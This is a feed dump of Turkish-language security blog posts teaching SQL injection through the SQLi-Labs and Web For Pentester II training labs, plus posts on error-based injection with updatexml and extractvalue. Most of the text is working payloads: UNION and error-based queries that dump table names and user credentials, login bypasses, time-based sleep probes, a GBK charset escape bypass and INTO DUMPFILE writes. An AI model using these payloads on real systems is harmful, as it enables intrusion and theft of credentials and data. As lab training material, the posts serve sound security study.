sql arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:37:53 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png sql arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | UpdateXML ile Error Based SQL Injection https://canyoupwn.me/updatexml-ile-error-based-sql-injection/ https://canyoupwn.me/updatexml-ile-error-based-sql-injection/#respond Wed, 29 Jun 2016 19:53:05 +0000 https://canyoupwn.me/?p=3081 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere. MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır: UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string) Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir: XPATH syntax error: ‘burada xpath […]

TR | UpdateXML ile Error Based SQL Injection CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere.

MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır:

UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string)

Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir:

XPATH syntax error: ‘burada xpath sorgusu yer alır

Diğer hata tabanlı ( error based )injectionlar gibi kullanacağız bunu da arkadaşlar ancak bazen Extractvalue filtrelenmiş olabilir yada serverde hiç bulunmayabilir o zaman ise konuda anlattığımız updateXML injection yöntemini uygulamamız gerekecek. Eğer, klasik union tabanlı sorguları kullanıp herhangi bir çıktı alamazsak Error tabanlı injection denememiz gerekecek.

Aşağıda kullandığımız sorgu örneğinde, çıkış yok:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" union select 1,2,3,4,5--

Yukarıdaki örnekte çift tırnağı(“) görüyoruz. Bunun anlamı, “string” tipi bir injection yaptığımızdır.

 

Şimdi kolayca sorgularımızı gönderebiliriz arkadaşlar.

Sorgu:

select path from pages where oynatugurcum="<girdimiz_buraya_gelecek>" limit 1,1;

 

Şimdi de, XPATH updateXML kullanarak sql inj işlemimize devam edelim. Yani yeni sorgumuz şu şekilde olacak:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(<b>sorgumuz_buraya_gelecek</b>)),null)--

 

Şimdi bu injection türünü kullanarak veritabanı adını çekelim.

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--

 

Çıktı:

XPATH syntax error: ‘:burada_database_ismi_olacak’

 

Evet, database ismini çektik. Şimdi diğer sorgularımıza devam edelim..

Şimdi bu database içindeki tabloları çekmeye çalışalım.

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:tablo_ismi_burada_olacak’

Yukarıda gördüğünüz gibi “limit”ide kullandık. Bunun sebebi de 32 karakterden yukarsını ekrana vurdurmuyor olması.

Şimdi, yukarıdaki sorguyu kullanıp tablolari ekrana vurdurduğumuzu varsayalım. Tablo isimleride aşagidaki gibi olsun:

-CYPMGonderiler

-CYPMBanner

-CYPMLinkler

-CYPMAsset

-CYPMUsers

-CYPMCaner

 

Şimdi de herhangi birinden kolonları çekmeyi deneyelim sorgumuzla. En mantıklı gelen şüphesiz ki orada CYPMUsers olacaktır. Onu deneyelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=’CYPMUsers’ limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:kolon_adlari_burada_olacak’

Aşağıdaki 3 kolonun yansıdığını varsayalım şimdi de:

-id

-username

-password

Şimdi bunlardan veri çekmeyi sağlayan sorgudan once arkadaslar, kolon sayılarını saymak icin kullandığımız sorguyu göstereceğim. Bunun sebebi de mesela istediğiniz sadece 1 üyenin parola vs bilgileri..

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username) from CYPMUsers)),null)--

Yukarıdaki komutu verdiğiniz de tüm kullanıcıları listeleyecektir sitedeki.

 

Şimdi de, CYPMUsers daki verileri çekelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from CYPMUsers limit 0,1)),null)--

Yukarıdaki sorguyu gönderdiğimizde, CYPMUsers’daki tüm kullanıcı ve parola bilgilerini çekmiş olacağız.

TR | UpdateXML ile Error Based SQL Injection CanYouPwnMe

]]>
https://canyoupwn.me/updatexml-ile-error-based-sql-injection/feed/ 0
TR | Sql-i Labs Walkthrough Series 10-15 https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/ https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/#respond Fri, 24 Jun 2016 07:29:28 +0000 https://canyoupwn.me/?p=2988 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15 Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz. Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂 Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma […]

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

SQL-i Labs 10-15

Merhaba arkadaşlar , bu yazı dizimizde 10-15. alıştırmaları göreceğiz.

Bizim için işler artık biraz zorlaşıcak gibi o yüzden kahvelerinizi eksik etmeyin 🙂

Uyarı : Burada yapılan çoğu uygulama belki gerçek hayatta karşınıza bu şekilde kabak(başka hangi kelime ile bu kadar güzel ifade edilir ) gibi çıkmayacaktır.Alıştırmalar tamamen experience ( deneyim ) kazanma üzerine kuruludur.

Önce ki yazılara ulaşmak için :

TR | SQL-i Labs Walkthrough Basic 0-5

TR | SQL-i Labs Series Walkthrough Basic 6-10

Öncelikle şunu da söylemek istiyorum.Yine bir önceki yazılarımızda olduğu gibi sadece bypass yöntemlerini göstereceğiz ve diğer levele geçeceğiz.Siz isterseniz bütün tabloları çekmeye çalışabilirsiniz.Takdir edersiniz ki bütün levellerde bunu yaparsak bizden önce yazıyı okurken siz sıkılırsınız 🙂

Anlaştıysak başlayalım.

Level 11 :

Daha önceki levellerimize bakarak burada karşımıza bir login ekranı çıkıyor.Burada bizim bir şekilde buraya login olmamız gerekiyor.Bu konuda bizim en basit payload’ımız neydi ?

"or 1=1 ---+

Bi deneyelim hmmm işe yaramadı sanırım.Neyse biz sadece username kısmına tek tırnak çift tırnak atarak hata verdirmesini sağlayalım.Tek tırnak attığınızda aşağıda ki hatayı alacaksınız.
resim1

O zaman bizde payload’ımızı tek tırnak ile deneyelim.

' or 1=1 --+

Bu şekilde girdiğinizde uygulamaya bir şekilde login olduk.Olma sebebimize gelirsek eğer

1=1 eşitliği her zaman True döndüreceğinden dolayı bizi sisteme dahil etti.

Yani şöyle düşünün oraya gerçek bir username password yazsaydık ve bu doğru olsaydı şu şekilde bir operatör ile doğruluğu kontrol edilecekti.

eğer username=cypm and password=123456 == True
yazdır 'Giriş başarılı.'
değilse
yazdır ' Giriş başarılı değil.'

resim2

Level 12:

Bu levelimizde ismine bakarsak aslında 11.level ile aynı tek farkı çift tırnak koymamız olacak fakat bunu aşağıda ki şekilde denediğimizde başarılı bir şekilde login olamıyoruz.

 " or 1=1 --+

Bu kısımda tamamen doğaçlama yaparak sql sorgusunun hata verebilmesi için

'"  (Tek tırnak + Çift Tırnak )

payloadını kullanarak hata verdirdim.
resim3
Ve orada gördüm ki parantez işaretleri bulunuyor.Yani bu demek oluyor ki kapatmamız gereken bir parantezimiz var.( Şuan belkide alıştırma dışına çıkmış bile olabiliriz )Hemen aşağıda ki payload’ı girdim.

")or 1=1 #

Ve okus pokus septimus severus ( kendisi roma imparatorudur bu arada )
resim4

Level 13 :

Geldik Double injection olan kısıma normal bir insan olsak burada kurallara , yönergelere uyarak çift sorgu ile bir şekilde bu leveli bypass edip geçmeyi düşünürdük.Değil mi ?

Ama biz normal miyiz ? Duyamadım ? Evet değiliz.

O yüzden double injection niye yazalım ki ?

Hemen yine sql sorgumuza error verdirtelim.
resim5
Gördüğünüz gibi buradada bir parantez var ve bunu kapatmalıyız.Bu arada hatayı

"'

ile verdirttim.

Hemen payloadımızı girelim ve sonuca arkamıza yaslanarak bakalım.

')or 1=1 #

resim6

Yaşasın HackerMind!

Level 14 :

Bu level de de double injection isteniyor fakat ben yine niye uğraşayım ki double injection ile ?

Tabi enes durur mu yapıştırmış payload’ı

"or 1=1 #

resim7

Level 15:

Bu levelimizde Boolian based yani Bool ifade ile giriş yapmamız isteniyor.Nedir bool ifade ?
Türkçe olarak düşündüğümüzde Doğru ve Yanlış.

Yabancılarda ise True ve False şeklinde.

Detaylı açıklama için : https://tr.wikipedia.org/wiki/Boole%27ca

Yani burada yapmamız gereken aslında level 11 de ki gibi

giriceğimiz bir ifadenin bize True döndürmesi gerekiyor.O yüzden bizim en basit true döndüren payloadımız nedir ?
1 = 1’dir.

O zaman payloadımızı yazalım.

" or 1=1 #

Veeeee aman Allah’ım o da ne ? Login olamadık.

resim8

Demek ki neymiş ? Ezbere gitmeyecekmişiz mantığını öğrenecekmişiz.Birde bana güvenmeyecekmişsiniz 🙂

Burada ki payload’ımız yukarıda ki payload değil aşağıdakidir.

' or 1=1 #

resim9

Not:Ne sizin ne de benim yazıyı okurken/yazarken sıkılmamanız için karşılıklı dialog şeklinde ve biraz laubali şekilde yazmış olabilirim.Eğer bu konu hakkında eleştiriniz vs. var ise yorum atabilir veya mail gönderebilirsiniz.

Bir daha ki yazımızda görüşmek üzere.

TR | Sql-i Labs Walkthrough Series 10-15 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-series-10-15/feed/ 0
TR | SQL-i Labs Series Walkthrough Basic 6-10 https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/#respond Wed, 08 Jun 2016 20:16:36 +0000 https://canyoupwn.me/?p=2594 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık. TR | SQL-i Labs Walkthrough Basic 0-5 Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz. Level 6 : Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız. Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5 1"+and(select 1 […]

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar daha önce 0-5 level arasını şurada ki linkte paylaşmıştık.

TR | SQL-i Labs Walkthrough Basic 0-5

Bugün ise bir seri şeklinde 6-10 level arasını birlikte çözeceğiz.
Level 6 :

Bu levelimiz aslında level 5 ile aynı tek farkı ” ‘ ” kullanmak yerine ” ” ” kullanmamız.

Level 5 için : https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5

1"+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

resim1
Level 7 :
Bu levelde bizden sorgularımızı biz dosyaya aktarmamızı istiyor.Aslında buna mecbur bırakıyor yoksa biz tabi ki basit yolu seçmeyi isteriz.
Burada ki payloadımızda ilk baş bi tek tırnak ile deneme yapalım isterseniz.Biz tek tırnak attığımızda hata vericektir.Doğru bir yolda gidiyor gibi duruyoruz.

select * into dumpfile "hebelehubele.sql"

Bizde şu sorguyu gerçekleştiriyoruz.

1'union select 1,2,3 into dumpfile "hebelehubele.txt"

resim2

Yukarıda ki sorguyu kullandığımızda bize hiç bir çıktı vermediğini görüyoruz.Demek ki bi yerlerde hata yapıyoruz.Evet hatanın sebebini buldum fakat bunu deneme yanılma yöntemiyle değil hileye başvurarak buldum.
Nedir bu hile ? : Kaynak kodlarına bakmak.Gerçekte böyle bir senaryo ile karşılaştığınızda bu imkanınız elinizde bulunamayabilir.

Burada sitenin sorgusunun içinden aşağıda ki şekilde çıkmamız gerekiyor.

1')) sorgunuz

Bu şekilde sorgu içinden çıktıktan sonra artık sorgu sonucunu bir dosyaya yazdırabiliriz.

1'))union select 1,2,3  into dumpfile "/tmp/mirkelam.txt"--+

resim3

Level 8 :

İlk önce tek tırnak atalım.Gördüğünüz gibi you are in yazısı kayboldu.

resim4

Şimdi burada amacımız burada sql injection olduğunu kanıtlamak.Bunun içinde sorgu denemeleri yapıcaz ve sorguyu kontrol edebiliyor muyuz ? Bunu kontrol edicez.

1'and 1=1 --+

resim5

Yaptığımızda bize yine you are in yazısını göstericek.Belki kod da bi yanlışık vardır sorguyu yine kontrol edebiliyor muyuz deneyelim.

1'and 1=2 --+

Yukarıda ki payload’ı girdiğimizde you are in yazısı yine kayboldu demek ki neymiş biz sorguyu kontrol edebiliyormuşuz.
resim6

Level 9 :

.

Level 8 e benzer bir yapısı var bu levelinde tek farkla level 8 de 199 gibi id ler girdiğimizde bize hiç bir text dönmüyordu.Fakat level 9 da bu şekilde değil.

?id=500000

yazarsanız hala aynı şekilde durduğunu göreceksiniz.

Burada yine körlemesine dalıyoruz ve şu payloadı yazıyoruz.

?id=1'and sleep(10) --+

Bu payload ı yazıp enterladığınızda sayfa 10 saniye kadar ( fazlada olabilir emin olamadım şimdi 🙂 ) beklemeye geçicek bu da ne demektir ? Burada sql injection var demektir.

resim7

Level 10 :
Bu levelimiz level 9 ile aynıdır.Tek fark ” ‘ ” yerine ” “(çift tırnak) ” kullanıyor oluşumuz.

Payloadımız

1"and sleep(10) --+

resim8

TR | SQL-i Labs Series Walkthrough Basic 6-10 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-6-10/feed/ 0
TR | SQL-i Labs Walkthrough Basic 0-5 https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/#respond Thu, 19 May 2016 23:56:43 +0000 https://canyoupwn.me/?p=2379 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ? Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır. Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs Yukarıda ki adresden indirmek için git clone https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.) Veya wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz. Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password […]

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ?
resim1
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için

git clone https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya

wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.

Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.

Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.

SQLi-Labs Page 1 ( Basic )

Sqli Labs 1 :

Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

Bu kısımdan sonra

?id=1'order by 6

gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz 🙂

?id=1'order+by+6# veya ?id=1'order+by+6--+

gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.

resim2

Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.

?id=1'order by 4 --+

resim3

Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.

Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.

Toplam kolon sayısını bulma.
Vulnerable kolonları ekrana bastırma.
Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.

Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.

bunun için aşağıda ki payload’ı kullanıyoruz.

?id=-1'union select 1,2,3 --+

resim4

Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek

?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz

Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.

?id=-1'union select 1,database(),user()

resim5

Gördüğünüz gibi database ismimiz security , kullanıcımız ise root@localhost

Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.

Şimdi de tablo isimlerimizi çekelim.

Bunun için payloadımız

-1'union select 1,group_concat(table_name),3 from information_schema.tables--+

resim6

Eğer burada group_concat yerine

-1'union select 1,table_name,3 from information_schema.tables--+

bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :

resim7

Şimdi de sütunlarımızı çekelim

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+

resim8

Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

resim9
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.

?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

resim10

Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.

 

Level 2:

Bu level ile ilgili :

Bir çok kaynakta

?id=1 ;

şeklinde bir payload yazılmış fakat

Bizim

?id=1 --+

kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü 🙂

resim11

-1 union select 1,2,3 --+

 

Level 3:

Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda

Aşağıdakine benzer bir kod çalışıyor.

select * from users where userid=(getrequest) \\ Tahminidir.

resim12
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.

-1')union+select+1,2,3 --+

resim13
Şimdi bu kısımda açıklama gereği duyuyorum.

select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.

Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.

select * from users where userid=('')union select 1,2,3

Level 4 :

Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.

Payloadımız :

?id=-1")union+select+1,2,3 --+

resim14

Level 5 :

İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.

resim15

1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/feed/ 0
TR | Web For Pentester 2 SQLi https://canyoupwn.me/web-for-pentester-2-sqli/ https://canyoupwn.me/web-for-pentester-2-sqli/#respond Wed, 04 May 2016 08:09:21 +0000 https://canyoupwn.me/?p=1971 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor. Web For Pentester II Birinci egzersizlere göre biraz daha farklı konular bulunuyor. Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre) Bu yazımızda SQL Injection bölümünü ele alacağız. Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/ […]

TR | Web For Pentester 2 SQLi Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar,daha önce WFP I ( Web For Pentester I ) egzersizlerine bakmıştık.Yine aynı ekip tarafından oluşturulmuş harika bir egzersiz serisi bulunuyor.
Web For Pentester II

Birinci egzersizlere göre biraz daha farklı konular bulunuyor.

Selection_009

Burada gördüğünüz gibi aslında konularımız biraz daha zorlaşmış,farklılaşmış.(WFP I’e göre)

Bu yazımızda SQL Injection bölümünü ele alacağız.

Birinci yazımızın linki : https://canyoupwn.me/wfp-i-sqli/

Bu yazımızda da farklı olarak sadece bypass yöntemlerini anlatacağız.Biraz da sizin taşın altına elinizi koymanızı bekleyeceğiz. 🙂

Level 1 :

Birinci levelimiz biraz basit bir işlem ile bypass edilebiliyor.

'or '1'='1

Selection_010

Burada sql bypass kodumuz başarıyla çalıştığı ve 1=1 her zaman True döndürdüğü için başarıyla giriş yapabiliyoruz.

Level 2:

Bu kısım da ise sql kodumuzu sınırlandırmamız gerekiyor.Çünkü geri döndürülen veri kısıtlanmış.Bu yüzden eğer sınırlandırmazsak bir işe yaramıyor.

' or 1=1 LIMIT 1 #

Selection_011

Level 3 :

Bu level biraz karışık gelebilir.Şöyle:

Bu kısımda username kısmında ki tek tırnak ( ‘ ) karakterini kaçış karakteri ile ( \ ) içerisine password kısmını almasını sağladık.
Daha sonra password kısmımıza ise en basit bypass yöntemimizi yazdık.
Username kısmı :

selam\

Password kısmı :

'or+1=1 #

Selection_012

Level 4 :

Bu kısımda adres çubuğu kısmında yazan string’e göre bize database üzerinden veri getiriyor.Yani aslında ne yazarsak bize onun kullanıcı adını getirecek.

'h'or 1=1

Selection_013

Yukarıda ki bypass yöntemimizi yazarak tüm kayıtları karşımıza getirebiliriz.

Burada bize sadece bu bilgiler lazım olmayacağı için

1.yazımız da ki ilk levelin bypassdan sonra ki işlemleri uygulayabilirsiniz.

Link : https://canyoupwn.me/wfp-i-sqli/
Aşağıda ki kısımdan sonrasını uygulayabilirsiniz.

order by 5 %23

Level 5 :

Bu kısımda eğer adres çubuğunun sonuna or 1=1 koyarsak bize hata vericektir.Bizde buradan yola çıkarak bypass yapabiliriz.

Selection_014

Burada hata verdirmesini sağladık.Hadi bypass edelim.
Selection_015

2 union select * from users

Union operatörünün görevi arkaplanda çalışan sorgunun ardından aslında ikinci,üçüncü, …… sorgu çalıştırmamızı sağlıyor.

Detaylı bilgi : http://www.w3schools.com/sql/sql_union.asp

Level 6 :

5.level ile aynı şekildedir.Tek fark burada sorguyu username ile gruplamasıdır.Yani sorgunun sonunda GROUP BY operatörü kullanılmakta.

Arka planda ki kod aşağıda ki gibidir.

SELECT * FROM users GROUP BY username

Selection_016

Level 7 :

Burada eğer

union select * from users

bypassını kullanırsak bize aşağıda ki hatayı verecektir.

Should only return one user…

Selection_017
Gördüğünüz gibi burada bize fazladan bir sütun,satır çekmemizi engelliyor.Ne yazık ki group_concat’de de aynı hatayı vericektir.

Burada yapabiliceğimiz tek şey adresin sonunda ki id kısmını silerek sadece ? işareti kalmasını sağlamak.Bu şekilde tüm bir tabloyu görebiliyoruz.
Ama bize çok fazla bir veri göstermediği bir gerçek.

Selection_18

Level 8 :

Bu bölümde bize bir kullanıcı kayıt sayfası gösteriliyor.Tek tırnak atıp arkaplanda nasıl bir kod çalıştığına bakabiliriz.
select_19_0

SELECT * FROM users WHERE username=''union select 1,2,3'

Burada gördüğünüz gibi koyduğumuz tek tırnakdan sonra işlemimizi yapabiliyoruz ama sondaki tek tırnağı da # ( diyez ) ile geçersiz kılmamız gerekiyor.

selam'union all select 1,2,group_concat(table_name)from information_schema.tables #

selection_19

Level 9 :

Bu kısımda biraz uğraşmamız gerekebiliyor.Çünkü escape_special_character gibi çeşitli fonksiyonlar ile bypass yöntemlerimiz işe yaramıyor.

Hatta baya uğraştım diyebiliriz ve pes edip kaynak kodlarına bakmak zorunda kaldım.

select20

Burada gördüğünüz gibi Character_Set “GBK” olarak belirlenmiş ? Sizinde kafanızın üstünde hayali bir ampül yandı sanırım değil mi ?

Tam da Karakter Setlerinden GBK ve Big5 setleri için uygun olan bir bypass yöntemi mevcut.

select_21

呵' or 1=1 #

TR | Web For Pentester 2 SQLi Enes ERGÜN

]]>
https://canyoupwn.me/web-for-pentester-2-sqli/feed/ 0
TR | XPath Injection https://canyoupwn.me/tr-xpath-injection/ https://canyoupwn.me/tr-xpath-injection/#respond Wed, 06 Apr 2016 06:30:18 +0000 https://canyoupwn.me/?p=1535 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XPath, XML ile üzerinde çalışmak için geliştirilen bir derlemedir. XPath Injection ise XML elemanlarına yapılan saldırı türüdür. XPath Injection açığı SQL Error Based ile aynı mantıktadır fakat biraz farklıdır. Konuya geçecek olursak; Hedef sitemiz: http//www.canyoupwn.me/pwnme.php?id=1 yaptık arkadaşlar aynı SQL hata arama yaptığımız gibi bize bir hata geldi. Hata İsmi: XPATH Syntax Error Version: 5.1.52-log http//www.canyoupwn.me/pwnme.php?id=1 and […]

TR | XPath Injection CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XPath, XML ile üzerinde çalışmak için geliştirilen bir derlemedir. XPath Injection ise XML elemanlarına yapılan saldırı türüdür. XPath Injection açığı SQL Error Based ile aynı mantıktadır fakat biraz farklıdır.

Konuya geçecek olursak;

Hedef sitemiz:

http//www.canyoupwn.me/pwnme.php?id=1

yaptık arkadaşlar aynı SQL hata arama yaptığımız gibi bize bir hata geldi.
54CgW

Hata İsmi: XPATH Syntax Error
Version: 5.1.52-log

http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 0,1)))--

Bu komutda gördüğünüz gibi group_concat yerine extractvalue komutunu kullanıyoruz. Bu komut tabloları yansıtmaya yarıyor.

54CgW

Burada tablo o limit üzerine tablo bulunamadığını söylüyor. Limitlerle biraz oynamamız gerek.

http//www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 123,1)))--

Limiti ben 123 yaptım bakalım tablo yansıtacak mı?

54CgW

Gördüğünüz gibi tbladmin adında tablo yansıttı.Şimdi kolonları yansıtalım.

Bu komut ile kolonları yansıtacağız. Aynı error based sql

http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 0,1)))--

54CgW

Gördüğünüz gibi bu sefer kolon bulamadı. Yine limit ayarları ile oynayacağız.

